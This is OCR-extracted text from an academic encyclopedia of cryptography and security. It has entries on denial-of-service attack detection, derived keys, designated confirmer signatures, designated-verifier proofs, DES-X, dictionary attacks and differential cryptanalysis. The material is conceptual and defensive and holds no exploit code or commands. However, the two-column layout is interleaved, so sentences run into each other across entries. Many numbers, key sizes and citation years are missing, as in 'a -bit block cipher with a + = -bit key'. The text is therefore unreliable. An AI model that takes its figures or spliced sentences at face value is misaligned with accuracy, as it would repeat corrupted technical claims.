Patterns of resource consumption within a host can be detection devices operating in a hosts network interface
characterized in different ways, from application-specific card(s) (NIC typically an Ethernet card when the host in
profiling of resource consumption and system calls, to question is a work station).
profiling of consumption of a specific shared resource
by an aggregation of applications. Here, resources could Network Monitors
pertain to special-purpose or general-use memory types Network-based attack detection is performed by examining
and ranges, or computing devices. The native operating raw-packet data streams that contain multiple packet
system (OS) of a host typically logs such activity. These flows. In addition, NetFlow flow-level summaries, colo-
logs are used by host-based intrusion detection systems. cated logs of firewalls, etc., can also be employed. Flows
The resource-consumption characteristics may be part of of particular interest within an enterprise are those
a broader class of specification-based defenses that are involved with outward-facing (public) interfaces of impor-
feasible when behavior (say according to a protocol that is tant servers.
being followed) can be narrowly characterized (also known
as protocol anomaly detection). Attack Detection Based on Observation
For example, where the host is a server, a fixed allo- of a Single Packet Stream
cation of client memory is used to maintain the identity A Smurf attack is indicated by an abnormally large num-
of each of the current clients of the server. The server ber of ping responses directed to the same destination
would use an entry in client memory upon receipt of a TCP IP address from a plurality of sources. Similarly, a TCP
SYN message. In the early days of the Web, client mem- SYN flood can be detected by an imbalance between the
ory was small-sized. Also, an entry would be released only observed number of SYNs and SYN-ACKs associated with
upon receipt/generation of a FIN (or RESET) or a time-out, an individual source address or on, e.g., subnet aggre-
where the time-out was in the order of minutes. A host- gates. For attack-detection purposes, quantities such as
based detection method for TCP SYN attacks targeting the observed number of ping responses or the cumula-
client memory would notice unusually large occupancy, tive SYNSYN-ACK difference can be maintained by, e.g.,
sustained in time, of the memory in question. To discrim- CUSUM, sliding window (moving average), or weighted
inate between a TCP SYN attack and a flash crowd, the (autoregressive) averaging.
server might, e.g., correlate the time new content was made The Stacheldraht DoS attack tool can perform ICMP,
available with overflow of client memory and/or consider SYN, and UDP packet floodings. Considering the diversity
the distribution of half-opened TCP sessions within client of legitimate UDP traffic, particularly streaming media,
memory. UDP floods may be difficult to accurately detect even
For another example, an approach to detecting anoma- for monitors deployed in small subnets. In addition to
lies in the Open Shortest Path First (OSPF) routing total packet/byte volume, there may be differences in the
protocol operating within a router has been described distribution of the sizes of packets of normal UDP ses-
[], adapting the general-purpose host-based intrusion- sions compared to UDP floods. If the distribution of the
detection methods []. Receipt of excessive OSPF updates, former has been learned, the distance between it and
because of a faulty OSPF peer or phony updates in a mali- an online estimate of the latter can be reckoned using,
cious attack could, e.g., manifest in unusually large I/O e.g., the KullbackLeibler distance or chi-squared statistic.
of the associated memory in the router. As OSPF itself Note that this framework can also be applied to categorical
D Denial-of-Service Detection
or ordinal packet features, e.g., IP addresses. An attack alert caused excessive bandwidth consumption in the access
is typically issued when such distances exceed a threshold networks (not the core) with associated Border Gateway
or experience anomalous abrupt transitions, called change Protocol (BGP) withdrawals/thrashing creating secondary
points. DoS effects (loss of Internet access) to some networks with
Consider a flow defined by a packet attribute-group X. infected Structured Query Language (SQL) servers. The
The distribution of another group of packet attributes, Y, BGP effects were discernible by network (or host) monitors
could be maintained. Change points of certain (joint) operating in BGP routers at the edge or core. Slammer also
statistics of the attribute group Y could be monitored, caused layer- ARP storms (scanning to unassigned IP
e.g., averages, variances, entropies, and correlations. If the addresses) that could also be detected at the LAN gateway
packet flow in question refers to outward-facing interfaces (or in the LAN).
of a large server and a certain service type (i.e., X is the Some DoS attacks were mounted anonymously using
destination IP address, port number, and protocol), one packets with spoofed-source IP addresses. Gateway routers
might base detection on byte volume and the number of can correlate the source addresses of packets arriving
different (or entropy of the) source IP addresses (i.e., Y is on a particular interface with its BGP forwarding tables
packet size and source IP address). A change point con- to check for anomalies. Today, many gateways perform
sisting of a dramatic increase in byte volume could be the ingress filtering on outbound packets they transmit to
start of a flash event or a distributed DoS flood attack ensure their source addresses belong to their domains.
targeting bandwidth resources. Statistics on the source IP Note that origin authentication issues will not impede
addresses may be able to differentiate between these two DoS attacks prosecuted by a compromised end system or
hypotheses. Note that the anomalous change point could botnet, i.e., by one or more unwitting machines.
involve a much lower packet or byte volume, which may
be indicative of more significant attack volume upstream. Collaborative Detection
Finally, frequency-domain analysis has been used on All major cyber security vendors offer enterprise security
the time series of flows ro of packets within a partic- systems that involve collaborating, to some degree, net-
ular flow. For example, within a flow, the packet inter- work monitors, host monitors, and firewalls. The network
arrival times and/or the packets sizes, the latter ordered monitors can be deployed in the LAN and access net-
according to arrival time at the network monitor, can works and at the gateway router(s). Moreover, they can
form the basis of the time series. In particular, it has been theoretically interact with monitors situated closer to the
argued that wavelet decomposition can separate-out time- network core (and this may now occur in practice at least
localized DoS attack activity (particularly CUSUM change for the purposes of attack response). The plurality of attack
points) from nominal background traffic. detectors, located at different positions in the network and
examining different kinds of data, offers the possibility of
Deployment Issues: LAN Versus Network alert corroboration and alert fusion through correlation
Edge Versus Tier- ISP rules. That is, these detectors share alerts that can then be
A network monitor deployed proximal to a small pop- combined into meta-alerts. The idea is that some monitors
ulation of end hosts (e.g., in a / subnet) may feasibly may issue alerts only based on the suspicion of an attack
ascertain normal application profiles for each end host. If and the process of sharing and combining alerts serves to
the network monitor is deployed closer to the enterprise further corroborate or refute their suspicions, i.e., generally
gateway (or the gateway between a local and a tier- ISP) improves attack detection.
or within the core (tier- ISP), maintaining such behav- For example, consider a DDoS flood attack targeting
ioral profiles for all applications and end users observed in bandwidth resources of a victim end host. As the attack
a packet stream may not be feasible. This is a basic trade- propagates to the victim, its intensity increases. A collab-
off in deployment of single-network monitors for attack orative defense may be able to quickly detect and effec-
detection. tively respond, where, clearly, a packet-filtering response
Though detection of DoS attacks is often most accu- performed only at the targeted victim is typically ineffec-
rately performed by LAN monitors where the targeted vic- tive. As the attack propagates, spatially diverse vanguard
tims reside, the response to such attacks (e.g., packet filter- sensors upstream from the victim (including at the vic-
ing) is often most effective when performed at gateway or tims gateway router) may, in isolation, notice anomalies
core routers. Also, certain types of DoS attacks can be accu- that are merely indications of an attack. So, they issue
rately detected by monitors situated at gateway routers. alerts. When quickly and securely correlated, these alerts
For example, the scanning activity of the Slammer worm together with correlated alerts from the victim host or
its LAN monitor, yield a more reliable signature of a dis- to detect DDoS floods []; experimental results on the
tributed DoS attack and countermeasures can be quickly, DETER test bed yielded very low false positive and false
perhaps automatically, enacted (i.e., the identified pack- negative rates using network topologies from the Rock-
ets participating in the attack are filtered at the gateway or, etfuel database, background traffic generated by CAIDA s
possibly, even further upstream). Harpoon tool, and attack traffic generated by Stacheldraht.
Technology is available to assess vulnerabilities ahead Metrics of interest in experimental assessment of DoS
of attacks targeting them, e.g., stress testing to determine defenses, involving traffic features that are of interest in
an under-allocation of resources for robust operation. Cor- detecting the onset of actual DoS attacks, include: one-way
relation of known vulnerabilities with suspicious activity and bidirectional (data) packet delays, delay variations,
(whether resource depletion or intrusion) can improve and loss rates; request-response delays; and session/flow
D
detection confidence. However, vulnerability assessment durations [] (though note that some of these traffic fea-
techniques have, in the past, been used by attackers for tures are also used to detect the onset of normal traffic
reconnaissance purposes, so it is important to authenticate congestion).
this activity.
Attacks Targeting Defenses The DDoS attack of July , , significantly impacting US
It is important not to overlook the attack-detection mecha- and South Korean government Web servers, demonstrated
nisms themselves from the point of view of defense soften- that DoS threats persist. Open problems in DDoS defense
ing DoS attacks targeting them. As the defensive response include how to dynamically calibrate defenses for spe-
to a detected DoS attack may itself manifest as a kind of cific deployment scenarios, identify new threats to deplete
DoS, there is a need to secure messaging between collab- resources not previously targeted, and explore trade-offs
orating attack detectors to prevent an attacker from falsely mentioned previously. Statistical anomaly detection has
issuing, or belaying, alerts. Publicly available evidence of yet to see significant commercial deployment. In many
such activity includes the attack on the Spamhause Project deployment cases, automated response to generated alerts,
antispam service []. even those automatically corroborated or fused together,
is often deactivated, i.e., requiring a human in the loop
Attacks Targeting Vulnerabilities of Critical to respond. Finally, emerging peer-to-peer social/overlay
Infrastructure networks exhibit a host of DoS vulnerabilities; DoS hard-
Attacks exploiting vulnerabilities of critical infrastructure, ening of such systems will also involve a set of difficult
such as name resolution (domain name system [DNS], security/overhead compromises.
Address Resolution Protocol [ARP]) or routing (BGP,
OSPF) in the network or the native operating system of Recommended Reading
. Brooks R () Disruptive security technologies with mobile
a workstation or server, will naturally cause a DoS effect
code and peer-to-peer networks, CRC Press, Boca Raton, FL
on those users and automata that rely on them; these . Carl G, Kesidis G, Brooks RR, Rai S () Denial of service
attacks may or may not use a resource-depletion strategy. attack detection techniques, IEEE Internet Comput ():
For example, a BGP prefix hijack or DNS cache poisoning . Chen Y, Hwang K, Ku W-S () Distributed change-point
(neither involving resource depletion) will naturally cause detection of DDoS attacks: experimental results on the DETER
testbed. In Proceedings DETER Community Workshop on
denial-of-access issues for the corresponding workstations
Cyber Security Experimentation (in conjunction with the
and servers. USENIX Security Symposium), Boston, MA
. Gao D, Reiter MK, Song D () Behavioral distance measure-
Experimental Results ment using hidden Markov models. In Proceedings of RAID
Many of the detection methods and frameworks described Conference
. Javitz HS, Valdez A () The NIDES Statistical Component
above are commercially available. A CUSUM approach to
Description and Justification, SRI Technical Report
measuring SYNSYN-ACK/RST has been used to achieve . Keromytis A, Misra V, Rubenstein D () SOS: secure overlay
% detection performance in min based on services. Proceedings of ACM SIGCOMM
recorded trace data in an enterprise and at a gateway . Lad M, Zhao X, Zhang B, Massey D, Zhang L () Analysis of
[]. Wavelet analysis was additionally used to signifi- BGP update surge during slammer worm attack. In Proceedings
of the Workshop on Distributed Computing (IWDC)
cantly reduce false positives and false negatives for TCP
. Lou X and Hwang K () Prevention of index-poisoning
SYN flood detection []. Spatially disparate observations DDoS attacks in peer-to-peer file-sharing networks, IEEE Trans.
of CUSUM statistics were combined in a tree structure Multimedia, Special Issue on Content Storage and Delivery and
and then abrupt change-points in traffic volume were used PP Networks
D Deobfuscating Malware
. Mirkovic J, Martin J, Reiher P () A taxonomy of DDoS such that it is computationally infeasible to find correla-
attacks and DDoS defense mechanisms. ACM SIGCOMM Com- tions between inputs and outputs, and such that given one
put Commun Rev :
part of the output, but not the input, it is computationally
. Mirkovic J, Hussain A, Fahmy S, Reiher P, Thomas R ()
Accurately measuring denial of service in simulation and
infeasible to predict any bit of the remaining output.
testbed experiments. IEEE Trans Dependable Secure Comput
(): Theory
. Spamhaus Project, Spammers release virus to attack Key derivation techniques are mostly used to generate
spamhaus.org, http://www.spamhaus.org/news/lasso?
unique keys per transaction/communication or for key
article=, Nov.
. Valdez A, Skinner K () Adaptive, model based monitor- encrypting keys.
ing for cyber attack detection. In Proceedings of the RAID Key derivation functions are often based on MACs
Conference, London (message authentication codes) or hash-functions.
. Valdez A, Skinner K () Probabilistic alert correlation. In
Proceedings of the RAID Conference, Davis, CA
. Wang H, Zhang D, Shin K () Detecting SYN flooding
Recommended Reading
attacks. In Proceedings of IEEE INFOCOM . Menezes A, van Oorschot P, Vanstone S () Applied cryptog-
. Wu SF, Chang HC, Jou F, Wang F, Gong F, Sargor C, Qu D, raphy. CRC Press, Boca Raton
Cleaveland R () JiNao: design and implementation of a scal-
able intrusion detection system for the OSPF routing protocol.
ACM Transactions on Computer Systems
Designated Conrmer Signature

Gerrit Bleumer
Deobfuscating Malware Research and Development, Francotyp Group,
Unpacking Malware
Synonyms
Confirmer signatures
Derived Key
Marijke De Soete Related Concepts
SecurityBiz, Oostkamp, Belgium Contract Signing; Digital Signature; Undeniable
Digital Signature
Synonyms
Key variation
Denition
Designated confirmer signatures (or sometimes simply
confirmer signatures) are digital signatures that can be
Related Concepts verified only by some help of a semi-trusted designated
Master Key
confirmer. They were introduced by Chaum in [] as an
improvement of convertible undeniable signatures.
Denition
A derived key is a key, which may be calculated (derived)
by a well-defined algorithm, usually referred to as a key Theory
derivation function, from an input consisting of public as Unlike an ordinary digital signature that can be verified
well as secret data (e.g., a master key or primary key). by anyone who has access to the public verifying key of
The advantage is that if two parties share the same secret the signer (universal verifiability), a designated confirmer
and mutually known parameters as inputs, they may, inde- signature can only be verified by engaging in a usu-
pendent of each other, calculate identical derived keys by ally interactive protocol with the designated confirmer.
keeping track of the number of iterations. The outcome of the protocol is an affirming or reject-
The key derivation function generally maps strings ing assertion telling the verifier whether the signature has
of any length to strings of an arbitrary, specified length, originated from the alleged signer or not.
Designated Conrmer Signature D
The main difference to (convertible) undeniable sig- Unforgeability: Resistance against existential forgery
natures is that the capabilities to produce signatures and under adaptive chosen message attacks by computa-
to confirm signatures are laid into different hands, which tionally restricted attackers.
has several advantages. Designated confirmer signatures Invisibility: A cheating verifier, given a signers public veri-
improve the availability and reliability of the confirmation fying key, public confirmer key, a message, a designated
services for verifiers. Verifiers can rely on a designated con- confirmer signature and oracle access to the signer,
firmer instead of having to rely on the signers themselves. cannot decide with probability better than pure guess-
The designated confirmer can be organized as one or more ing whether the signature is valid for the message with
authorities with a higher availability than each signer can respect to the signers verifying key or not. (This implies
afford to provide, and the designated confirmer can pro- non-coercibility as described above.)
D
vide confirmation services according to a clearly stated Soundness: A cheating designated confirmer cannot mis-
confirmation policy, which can also be subject to inde- use the verifying operation in order to prove a valid
pendent audit on a regular basis. In practice, a designated signature to be invalid (non-repudiation), or an invalid
confirmer would conceivably contract multiple signers and signature to be valid (false claim of origin).
provide confirmation services to all their respective ver- Nontransferability: A cheating verifier obtains no informa-
ifiers. Another way of increasing the availability of the tion from the confirming operation that allows him to
confirmation services is by using an undeniable signature convince a third party that the alleged signature is valid
scheme with distributed provers as proposed by Pedersen or invalid, regardless if the signature is valid or not.
[]. Another advantage of designated confirmer signatures Validity of Conversion: A cheating designated confirmer
is that they alleviate the problem of coercible signers. In with oracle access to a signer cannot fabricate a con-
undeniable signature schemes, the signer may be black- verted signature valid for a message m with respect
mailed or bribed to confirm or disavow an alleged signa- to the signers public verifying key unless that signer
ture. This may be harder to accomplish with a designated has produced a designated confirmer signature for m
confirmer organized as an authority with proper checks before.
and balances.
A designated confirmer signature scheme has three Practical constructions have been proposed by Chaum
operations: () An operation for generating double key [], Okamoto [], Michels and Stadler [], and by
pairs, one key pair of a private signing key with a pub- Camenisch and Michels []. All of them propose an indi-
lic verifying key and another key pair of a private con- vidual conversion operation, but none of them discuss a
firmer key with a public confirmer key, () an operation for universal conversion operation analogous to that of convert-
signing messages, and () a confirming operation for prov- ible undeniable signatures. Michels and Stadler [] have
ing signatures valid (confirmation) or invalid (disavowal). discussed designated confirmer signatures that can be con-
The private signing key is known only to the signer, the verted into well-known ordinary signatures such as RSA
private confirmer key is known only to the confirmer, digital signatures, Schnorr digital signatures, Fiat and
and the public verifying key as well as the public Shamir signatures, or ElGamal digital signatures.
confirmer key are publicly accessible through authen-
ticated channels, for example, through a public key
infrastructure (PKI). The signing operation is between Applications
a signer using the private signing key and a verifier Designated confirmer signatures are a useful tool to con-
using the public verifying key. The verifying opera- struct protocols for contract signing []. The trusted
tion is between the designated confirmer using its pri- third party in contract signing takes the role of a desig-
vate confirmer key and a verifier using the public con- nated confirmer. Each participant produces a designated
firmer key. Furthermore, there is () an individual conver- confirmer signature of his statement and distributes it to all
sion operation for converting individual designated con- other participants and to the trusted third party. After the
firmer signatures into ordinary digital signatures, and () trusted third party has collected the statements and cor-
a universal verifying operation to verify such converted responding designated confirmer signatures from all par-
signatures. ticipants, it converts them into ordinary digital signatures
The characteristic security requirements of a desig- and circulates them to all participants according to a pre-
nated confirmer signature scheme are similar to those of defined policy. Designated confirmer signatures are also
a convertible undeniable signature scheme []: useful to construct verifiable signature sharing schemes [].
D Designated-Verier Proofs
Open Problems Background

Designated confirmer signatures are a relatively young Designated verifier proofs share the nontransferability
concept, which have not yet been blended with other property with undeniable signatures, with the difference
interesting types of signature schemes such as threshold that designated verifier proofs do so in a noninteractive
signatures, group signatures, or fail-stop signatures. fashion. In this way, it can be prevented that the con-
firmation protocol of undeniable signatures is abused to
Recommended Reading run with many verifiers at the same time (rather than a
. Chaum D () Designated confirmer signatures. In: De single one).
Santis A (ed) Advances in cryptology: EUROCRYPT. Lec-
pp Theory
. Pedersen TP () Distributed provers with applications to The intuition behind constructions of designated verifier
undeniable signatures (Extended abstract). In: Davies DW (ed) proofs is that the prover will link the noninteractive proof
Advances in cryptology: EUROCRYPT. Lecture notes in com- to the public key of a specific verifier, who should be the
puter science, vol . Springer, Berlin, pp
. Franklin MK, Reiter MK () Verifiable signature sharing. In:
only party with access to the corresponding private key.
Guillou LC, Quisquater JJ (eds) Advances in cryptology: EURO- A basic construction works as follows []. Let (skV ,
CRYPT. Lecture notes in computer science, vol . Springer, pkV ) denote the key pair of a verifier V. To generate a
Berlin, pp proof for this verifier, for a statement S (which is inde-
. Okamoto T () Designated confirmer signatures and public- pendent of the key pair (skV , pkV )), the prover generates
key encryption are equivalent. In: Desmedt YG (ed) Advances in
cryptology: CRYPTO. Lecture notes in computer science, vol
a noninteractive zeroknowledge proof for the statement S
. Springer, Berlin, pp defined as
. Michels M, Stadler M () Generic constructions for secure

and efficient confirmer signature schemes. In: Nyberg K (ed) S S I know private key skV for public key pkV .
Advances in cryptology: EUROCRYPT. Lecture notes in com-
puter science, vol . Springer, Berlin, pp To ensure that the proof for S is convincing only to V, it
. Camenisch J, Michels M () Confirmer signature schemes must be ensured that only V knows the private key skV .
secure against adaptive adversaries. In: Preneel B (ed) Advances
This is so, because anyone who knows skV can simulate a
in cryptography: EUROCRYPT . Lecture notes in computer
science, vol . Springer, Berlin, pp proof for S even if statement S is false. A practical sce-
. Asokan N, Shoup V, Waidner M () Optimistic fair exchange nario is that the key pair (skV , pkV ) is generated and stored
of digital signatures. In: Nyberg K (ed) Advances in cryptology: on a smart card held by V. The private key needs never to
EUROCRYPT. Lecture notes in computer science, vol . be exposed to the outside world but allows V to generate a
proof for any statement S.
A simple and practical implementation of designated
verifier proofs is obtained for any statement S allowing
an efficient -protocol, assuming that knowledge of skV
Designated-Verier Proofs for a given pkV can also be proved by means of an effi-
cient -protocol. Applying OR-composition [] to these
Berry Schoenmakers -protocols and then making the proof noninteractive
Department of Mathematics and Computer Science, by applying the FiatShamir heuristic for a given cryp-
Technische Universiteit Eindhoven, Eindhoven, tographic hash function results in an efficient designated
The Netherlands verifier proof for statement S.
Related Concepts Application

Designated Confirmer Signature; Undeniable The main application of designated verifier proofs is
Signatures to achieve receipt-freeness in electronic voting schemes.
Receipt-freeness was introduced by Benaloh and Tuin-
Denition stra [] as a property to ensure that the privacy of the
A designated verifier proof as introduced in [] is generally voters is achieved in the following strong sense: even if
a noninteractive zeroknowledge proof with the additional a voter is willing or forced to reveal all its random bits
property that it will only be convincing toward a particular used in the voting protocol, one cannot tell how the voter
party, called the designated verifier. voted.
DHP D
Recommended Reading work of KilianRogaway [], which builds on [] and uses

. Benaloh J, Tuinstra D () Receipt-free secret-ballot elections. a black box model of security. Currently, the best attack
In: Proceedings of the th symposium on theory of computing on DES-X is a known-plaintext slide attack discovered by
(STOC ), ACM, New York, pp
BiryukovWagner [] which has complexity of . known
. Cramer R, Damgrd I, Schoenmakers B () Proofs of par-
tial knowledge and simplified design of witness hiding protocols.
plaintexts and . time of analysis.
In: Advances in cryptology|CRYPTO . Lecture notes in com-
puter science, vol . Springer, Berlin, pp Theory
. Jakobsson M, Sako K, Impagliazzo R () Designated ver- Moreover, the attack is easily converted into a ciphertext-
ifier proofs and their applications. In: Advances in cryptol-
only attack with the same data complexity and offline
ogy|EUROCRYPT . Lecture notes in computer science, vol
time complexity. These attacks are mainly of theoretical
D
interest due to their high time complexities. However, the
attack is generic and would work for any cipher F used
together with post- and pre-whitening with complexity
De-Skewing (n+)/ known plaintexts and k+(n+)/ time steps (here
n is the block size, and k is the key-size of the internal
von Neumann Correction
cipher F). A related key-attack on DES-X is given in [].
Best conventional attack, which exploits the internal struc-
ture of DES, would be a linear cryptanalysis attack, using
known plaintexts [].
DES-X (or DESX)
Recommended Reading
Alex Biryukov . Biryukov A, Wagner D () Advanced slide attacks. In: Pre-
FDEF, Campus Limpertsberg, University of Luxembourg, neel B (ed) Advances in cryptology Eurocrypt . Lec-
Luxembourg ture notes in computer science, vol . Springer, Berlin,
pp
. Even S, Mansour Y () A construction of a cipher from a single
pseudorandom permutation. J Cryptol ():
Related Concepts . Kaliski B, Robshaw M () Multiple encryption: Weighing
Block Ciphers; Feistel Cipher; Slide Attack security and performance. Dr. Dobbs J ():
. Kelsey J, Schneier B, Wagner D () Related-key cryptanal-
Denition ysis of -WAY, Biham-DES, CAST, DES-X, NewDES, RC, and
TEA. In: Han Y, Okamoto T, Qing S (eds) Proceedings of ICICS.
DES-X is a -bit block cipher with a + =
-bit key, which is a simple extension of DES (Data pp
Encryption Standard). . Kilian J, Rogaway P () How to protect against exhaustive key
search. In: Koblitz N (ed) Advances in cryptology crypto.
Background pp
The construction was suggested by Rivest in in order . Shannon C () Communication theory of secrecy sys-
to overcome the problem of the short -bit key-size which tems. A declassified report from . Bell Syst Tech J ():
made the cipher vulnerable to exhaustive key search
attack. The idea is just to XOR a secret -bit key K to the
input of DES and to XOR another -bit secret key K to
the output of DES: C = K DESK (P K). The keys K,
K are called whitening keys and they became a popular ele- DH Key Agreement
ment of modern cipher design. The construction itself goes
back to the work of Shannon [, p. ], who suggested the DiffieHellman Key Agreement
use of a fixed mixing permutation whose input and out-
put are masked by the secret keys. This construction has
been shown to have provable security by EvenMansour
[] if the underlying permutation is pseudorandom DHP
(i.e., computationally indistinguishable from a random
permutation). A thorough study of DES-X was given in the Computational Diffie-Hellman Problem
D Dictionary Attack
Recommended Reading
Dictionary Attack . Schneier B () Applied cryptography: protocols, algorithms,
and source code in C, nd edn. Wiley, New York
Carlisle Adams . Stallings W () Cryptography and network security: principles
and practice, th edn. Prentice Hall
(SITE), University of Ottawa, Ottawa, Ontario,
Canada
Dictionary Attack (I)
Related Concepts
Password; Salt Alex Biryukov
Denition Luxembourg
A dictionary attack is a password-guessing technique (i.e., a
methodical attempt to find the password that corresponds Related Concepts
to a given username). Block Ciphers; Password
Application Denition
A dictionary attack is a password-guessing technique in Dictionary attack is an exhaustive cryptanalysis approach
which the attacker attempts to determine a users pass- in which the attacker computes and stores a table of
word by successively trying words from a dictionary (a plaintextciphertext pairs (P, Ci = EKi (P), Ki ) sorted by
compiled list of likely passwords) in the hope that one the ciphertexts Ci .
of these password guesses will be the users actual pass-
word. In practice, the attackers dictionary typically is not Theory
restricted to words from a traditional natural-language dic- HeretheplaintextPischoseninadvanceamongthemostoften
tionary, but may include one or more of the following encrypted texts like login:, Hello John, etc., and the key
[, ]: runs through all the possible keys Ki . If P is encrypted
later by the user and the attacker observes its resulting
Variations on the users first or last name, initials,
ciphertext Cj , the attacker may search his or her table for
account name, and other relevant personal informa-
the corresponding ciphertext and retrieve the secret key
tion (such as address and telephone number, pets
Kj . The term dictionary attack is also used in the area of
name, and so on)
password guessing, but with a different meaning.
Words from various databases such as male and female
names, places, cartoon characters, films, myths, and
books
Spelling variations and permutations of the above Dierential Cryptanalysis
words, such as replacing the letter o with the number
, using random capitalization, and so on
Eli Biham
Common word pairs
Department of Computer Science, Technion Israel
Dictionary attacks can be quite successful in many envi- Institute of Technology, Haifa, Israel
ronments because of the tendency of users to make poor
password choices (unfortunately, passwords that are eas- Related Concepts
ily memorized by a legitimate user are also easily guessed Block Ciphers; Data Encryption Standard (DES);
by an attacker). These attacks can be performed in online DES-X (or DESX); FEAL; Hash Functions;
mode (trying successive passwords until a login is success- MD-MD
ful) or off-line mode (hashing or encrypting a dictionary
of words and looking for any matches in a copied system Differential cryptanalysis is a general technique for the
file of hashed or encrypted user passwords). Server limits analysis of symmetric cryptographic primitives, in partic-
on the number of unsuccessful login attempts can help to ular of block ciphers and hash functions. It was first
thwart online attacks, and the use of salt (Salt) can help publicized in by Biham and Shamir [, ] with attacks
to thwart off-line attacks. against reduced-round variants of DES [], and followed
Dierential Cryptanalysis D
in by the first attack against DES which was faster than possible pairs of inputs with this difference (for any possi-
exhaustive key search []. ble input X, the second input is computed by X = X X ).
Let P be a plaintext, and let C be the corresponding These pairs may have various output differences. The
ciphertext encrypted under the (unknown) key K, such main observation is that the output differences are not dis-
that C = EK (P). Let P be a second plaintext, and let tributed uniformly. For example, for the input difference
C = EK (P ) be the corresponding ciphertext under the x (the subscript x denotes that the number is in hex-
same (unknown) key K. We define the difference of the adecimal notation), no pair has output difference , nor
plaintexts as P = P P , and the difference of the cipher- nor , and several other output differences; two pairs have
texts as C = C C (some authors use the notation for output difference , eight pairs have output difference ,
differences instead, e.g., P and C). Also for any interme- and of the pairs with this input difference have out-
D
diate data X during encryption (e.g., the data after the third put difference . For this input difference, a cryptanalyst
round, or the input to some operation in the fifth round), can thus predict with probability / that the output differ-
let the corresponding data during the encryption of P be ence is . A difference distribution table of an S box (or an
denoted by X , and let the difference be X = X X . operation) is a table that lists the number of pairs which
Differential cryptanalysis studies how the differences fulfill the input and output differences for each possible
evolve through the various rounds and various operations input and output differences, where the rows denote all the
of the cipher. Usually it is assumed that the difference oper- possible input differences, the columns all the output dif-
ation is the exclusive-or (XOR) operation, and we will ferences, and each entry contains the number of pairs with
make this assumption herein as well. Linear and affine the corresponding differences. In the example above, the
operations do not affect the differences, or affect the dif- difference distribution table of S of DES has value in
ferences in a predictable way: Bit-permutation operations row x column .
that reorder the bits of the data X to P(X) also reorder Differential cryptanalysis defines characteristics that
the differences in the same way (i.e., X is transformed to describe possible evolutions of the differences through the
P(X)P(X ) = P(X )). So are selections (that select some cipher. Each characteristic has a plaintext difference for
of the bits of the data). Similarly, XOR operations XY also which it predicts the differences in the following rounds.
affect the differences in the same way, i.e., given the inputs A pair of plaintexts for which the differences of the plain-
X and Y, and the output XY, along with X , Y , and X texts and the intermediate data (when encrypted under the
Y , the differences are X = X X and Y = Y Y , and used key) are exactly as predicted by the characteristic is
the output difference is (X Y)(X Y ) = X Y . We called a right pair (a pair which is not a right pair is called a
see that for all these linear operations the differences evolve wrong pair). The probability that a characteristic succeeds
in the same way as the original data, and the differences can to predict the differences (i.e., that a random pair is a right
be processed independently of the original data. pair, given that the plaintext difference is as required by
An important observation is that mixing subkeys into the characteristic) depends on the probabilities induced by
the data may be discarded by means of differences: If the the input and output differences for each S box (or each
mixing of subkeys to the data is performed using an XOR operation), where the total probability is the product of
operation by Y = X K, then in the second encryption it is the probabilities of the various operations (assuming that
Y = X K, and the output difference of the key mixing the probabilities are independent, which is usually the case;
operation is Y = Y Y = (X K) (X K) = X , otherwise the product is usually a good approximation for
which is independent on the subkey. Key mixings may thus the probability).
be ignored in the predictions of the differences. Given the expected difference for the intermediate data
For nonlinear operations (such as S boxes) we can also before the last round (or more generally a few rounds
study the evolution of the differences. Certainly, when the before the last), it may be possible to deduce the unknown
difference of the input is , the two inputs are equal, and key by statistical analysis. The attack is a chosen plain-
thus also the two outputs are necessarily equal, having a text attack that is performed in two phases: In the data col-
difference as well. When the input difference is nonzero, lection phase, the attacker requests encryption of a large
we cannot predict the output difference, as it may have number of pairs of plaintexts, where the differences of all
many different output differences for any input difference. the plaintext pairs are selected to have the plaintext differ-
However, given the input difference, it is possible to pre- ence of the characteristic. In the data analysis phase, the
dict statistical information on the output difference. Take attacker then recovers the key from the collected cipher-
for example S box S of DES. This S box has input bits texts. Assume that the probability of the characteristic is p
and output bits. For each input difference X there are (i.e., a fraction p of the pairs are expected to be right pairs).
D Dierential Cryptanalysis
It is then expected that for a fraction p of the pairs, the dif- were requested by the NSA not to publish any information
ference of the data before the last round is as predicted by on them.
the characteristic. An (inefficient) method for deriving the There are various improvements of differential crypt-
subkey of the last round is then to try all the possibilities analysis aimed to reduce the complexity of differential
of the subkey of the last round. For each possible subkey attacks. One simple method is a combination of several
partially decrypt all the ciphertexts by one round, and for characteristics in a single larger structure. In case that two
each pair compute the differences of the data before the characteristics are used such a structure is called a quartet.
last round, by XORing the data resulting from the partial It contains four plaintexts of the form P, P p , P p ,
decryptions. For wrong guesses of the subkey it is expected P p p , for the plaintexts differences p and p . It can
that the difference predicted by the characteristic appears easily be seen that in such a quartet each difference appears
rarely, and for the correct value of the subkey it is expected twice: The first difference appears as the difference of the
that this difference appears for a fraction p or more of the first two plaintexts, and also as the difference of the other
pairs (as there is a fraction of about p of right pairs that are two plaintexts. The second difference appears as the dif-
assured to suggest this difference, and as wrong pairs may ference of the first and third plaintexts, and also as the
also suggest this difference). In particular, if the probability difference of the second and fourth plaintexts. Thus, a total
p is not too low, it is expected that the correct subkey is the of pairs are contained in a quartet, while without using
one which leads to the expected difference most frequently. quartets only pairs are contained in the same number of
It should be noted that the derivation of the last subkey is plaintexts. Larger structures of plaintexts using three dif-
usually much more efficient than (but equivalent in results ferent characteristics contain pairs. Such structures are
to) this described algorithm, using the information of the useful when there are several high-probability character-
input and output differences for each S box (or operation) istics that can be used for an attack, as if the second best
in the last round. It should also be noted that in many cases, characteristic has a relatively low probability, the benefit of
characteristics shorter by more than one round than the getting pairs with such a difference is quite low.
cipher (usually up to three rounds shorter) can also be used Another improvement (which was also mentioned in
for differential attacks. the original publication on differential cryptanalysis) is
Differential cryptanalysis usually requires a small using an extended form of differences, in which not all the
multiple of /p pairs of chosen plaintexts, when using bits of the difference are fixed. This type of differences was
a characteristic with probability p, in order to ensure later called truncated differences []. An important widely
that sufficiently many right pairs appear in the data. This used type of truncated differences is the word-wise trun-
amount of encrypted data may be very large (about cated differences. Word-wise truncated differences are dif-
chosen plaintext blocks in the case of DES), making the ferences in which the difference itself is not considered, but
complexity of the data collection phase larger than the instead the differences are divided into two classes, namely
complexity of the data analysis phase in most cases. The zero differences and nonzero differences. In these cases
large number of chosen plaintexts may by itself make the the data blocks are divided to words (either -bit bytes, or
attack impractical, as it transfers the responsibility of com- -bit words, or words of a different size depending on the
puting the major part of the attack from the attacker to the native structure of the cipher), and the analysis only con-
attacked party, who is required to encrypt a large number siders whether the difference of a word is expected to be
of chosen plaintexts for the attacker to be able to mount his zero or not. Such consideration is useful when nonzero dif-
